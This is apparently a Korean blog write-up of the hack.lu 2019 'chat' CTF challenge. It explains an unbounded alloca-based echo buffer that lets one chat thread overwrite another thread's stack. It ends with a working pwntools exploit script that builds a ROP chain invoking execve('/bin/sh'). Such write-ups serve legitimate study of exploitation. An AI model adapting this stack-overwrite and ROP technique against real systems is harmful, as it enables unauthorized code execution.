본문 바로가기

system/writeup

2019 hack.lu chat

hack.lu 2019 chat

ubuntu@ubuntu:~/pwn/hack.lu/chat$ ./chat 
Command Channel:
> /h
Command Commands:
/nc - New Chat Channel - Create and join a new Chat Channel.
/jc x - Join Chat Channel - Join the Chat Channel number x.
/lc - List Chat Channels - Lists the Chat Channels.
/q - Quit - Quit this awesome chat program.
/h - Help - Print this help message.
> /nc
Chat Channel 1:
> /h
Chat Commands:
/e - Echo - The first line following this command specifies the number of characters to echo.
/pc - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
/qc - Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.
/h - Help - Print this help message.
That's all for now :/
>

위와 같은 기능을 가지고 있는 32비트 static linked 바이너리이다.

문제의 제목에서도 볼 수 있듯이, chat 프로그램이라서 멀티쓰레드 방식을 사용한다.

또한, 특이한 점은 pipe를 이용하여 쓰레드들을 poll로 관리한다는 점이다.

/nc를 이용하여 채팅방을 만들 때, 다음과 같은 기능을 한다.


쓰레드를 만들어주고 쓰레드 안에서 /pc 명령을 이용하여 쓰레드를 중지시키면 wait_loop 함수를 부른다.



이 함수는 pipe를 이용하여 쓰레드의 출력을 중지시키고, poolfdpoll을 걸어놓음으로써 쓰레드 입력 이벤트를 while문을 이용하여 1초마다 기다린다.

여기까지 알아보고 취약점은 채팅방의 /e 기능에서 발생한다.


fgets로 사용자의 입력을 받고, puts로 출력해주는데 fgets로 받는 bufalloca로 할당한다.

여기서, 사이즈 제한이 걸려있지 않기 때문에 ebp - ~ 부분의 aribrary write가 가능해진다.

이를 통해 thread 1, thread 2를 순서대로 만들었을 때 thread 1에서 thread 2stack을 덮을 수 있다.

그리고 나서는 그냥 rtl로 쉘을 얻어내면 된다.


위와 같이 thread 2stack을 덮을 수 있다.

알고보니 굉장히 쉬운 문제였는데 thread가 들어가 있었어서 조금 헷갈렸었던 것 같다..

from pwn import *

#context.log_level= 'debug'

e = ELF('chat')
#s = connect('chat.forfuture.fluxfingers.net', 1337)
s = process(e.path)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)

# switch(active):
#   case 0:
#       don't use
#   case 1:
#       active
#   case 2:
#       error/pause/quit

dump = '''
ubuntu@ubuntu:~/pwn/hack.lu/chat$ ./chat
Command Channel:
> /h
Command Commands:
      /nc     - New Chat Channel - Create and join a new Chat Channel.
      /jc x   - Join Chat Channel - Join the Chat Channel number x.
      /lc     - List Chat Channels - Lists the Chat Channels.
      /q     - Quit - Quit this awesome chat program.
      /h     - Help - Print this help message.
> /nc
Chat Channel 1:
> /h
Chat Commands:
      /pc     - Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.
      /h     - Help - Print this help message.
'''

def menu(data):
   sla(':\n', data)

def nc():
   menu('/nc')

def command(cmd):
   cmd = cmd.split()

   if cmd[0] == '/e':
       sla('> ', cmd[0])
       sl(cmd[1])
       sl(cmd[2])

   elif cmd[0] == '/pc':
       sla('> ', cmd[0])

   elif cmd[0] == '/qc':
       sla('> ', cmd[0])

def jc(cmd):
   menu("/jc "+cmd)

nc()
command('/pc')
nc()
command('/pc')
jc('1')

binsh = 0x80f738b
binsh_addr = binsh+12
int_0x80 = 0x0804fa05
int_0x80 = 0x0807d3d0
pop_eax = 0x08051cf6
pop_ebx = 0x0804901e
dec_eax = 0x08051be6

pay = p32(pop_ebx)
pay += p32(binsh)
pay += p32(pop_eax)
pay += p32(0x0e)
pay += p32(dec_eax)*3
pay += p32(int_0x80)

command('/e '+str(250000)+ '\x00/bin/sh\x00'+'\x00'*4+p32(binsh) + ' ' + '\x00'*0x8 + p32(0) + pay)

io()


get shell!

'system > writeup' 카테고리의 다른 글

2019 d3ctf new_heap  (0) 2019.11.30
2019 csaw final arevenge  (0) 2019.11.29
2019 hitcon lazyhouse  (0) 2019.11.06
2019 hitcon trick_or_treat  (0) 2019.11.04
2019 codegate maris_shop  (0) 2019.11.03